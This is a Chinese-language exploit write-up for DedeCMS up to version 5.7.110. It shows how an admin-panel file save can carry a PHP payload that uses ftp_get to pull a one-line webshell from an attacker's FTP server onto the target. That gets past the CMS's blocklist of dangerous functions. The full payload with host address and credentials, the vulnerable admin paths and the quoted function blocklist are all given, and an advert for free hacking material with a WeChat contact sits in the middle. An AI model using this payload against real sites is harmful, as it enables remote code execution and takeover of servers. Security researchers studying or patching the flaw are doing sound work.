前言
接之前写的一篇《Dedecms V110最新版RCE---Tricks》,既然利用远程文件下载方式成为了实现RCE的最好方法,毕竟在执行的时候没有恶意shell文件,恶意木马被存放于远端服务器,那么下文的day就是对远程恶意文件的利用。
环境
下载最新版本:
https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.110-UTF8.zip
影响版本:
<=DedeCMS-V5.7.110
漏洞URL:
/uploads/dede/article_string_mix.php /uploads/dede/sys_data.php /uploads/dede/sys_task.php /uploads/dede/media_add.php /uploads/dede/article_template_rand.php
漏洞详情
远程服务器开启ftp服务
控制面板 >> 程序 >> 启用或关闭windows功能
完成更改
计算机管理
添加FTP站点
配置地址以及账号密码
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:yj009991,备注 “开源中国” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
上面存放一句话木马
文件内容为
payload如下:
<? $ftp_server = "192.168.0.102"; $ftp_username = "administrator"; $ftp_password = "147258369"; $file = "shell.php"; $local_file = "shell2.php"; // set up basic connection $conn_id = ftp_connect($ftp_server); // login with username and password $login_result = ftp_login($conn_id, $ftp_username, $ftp_password); // try to download $file and save to $local_file if (ftp_get($conn_id, $local_file, $file, FTP_BINARY)) { echo "Successfully downloaded $file\n"; } else { echo "There was a problem while downloading $file\n"; } // close the connection ftp_close($conn_id); ?>
代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。通过利用ftp_get函数远程下载恶意代码文件,代码中的”ftp_server”为远程服务器地址,”ftp_username”为远程ftp登录用户名,”ftp_password”为ftp登录密码,”$file”为远程服务器的shell文件名,”$local_file”为从远程服务器下载木马文件到本地的重命名文件。
文件保存后,访问路径
/uploads/data/template.rand.php
提示已经成功下载一句话木马文件,查看当前目录已经生成名称为shell2.php的shell文件
http://dedecms.xyz:8066/uploads/data/shell3.php
成功命令执行
漏洞分析
DedeCMS-V5.7.109-UTF8\uploads\dede\media_add.php
上传文件的时候仅仅只对权限以及上传类型做了校验,对文件内容未做校验导致漏洞产生。
继续向下看,文件上传文件处理代码DedeCMS-V5.7.109-UTF8\uploads\dede\file_manage_control.php
代码中定义了disable_funs
,但是禁用的函数涉及
phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders
在上面的payload中,利用手法利用点儿在于
ftp_get
函数是可以绕过disable_funs
的,使用该函数实现bypass进行远程恶意代码调用,导致RCE。
小结
其它的方法也可以尝试,ftp远程调用,telnet远程调用等,包括很多方法可以实现,但是使用条件存在限制。其实在Dede
由于后台参数可以直接进行配置,代码中disable_funs
的定义没有意义,该模块只要存在,只要绕过正则,RCE的方式有很多。
更多靶场实验练习、网安学习资料,请点击这里 >>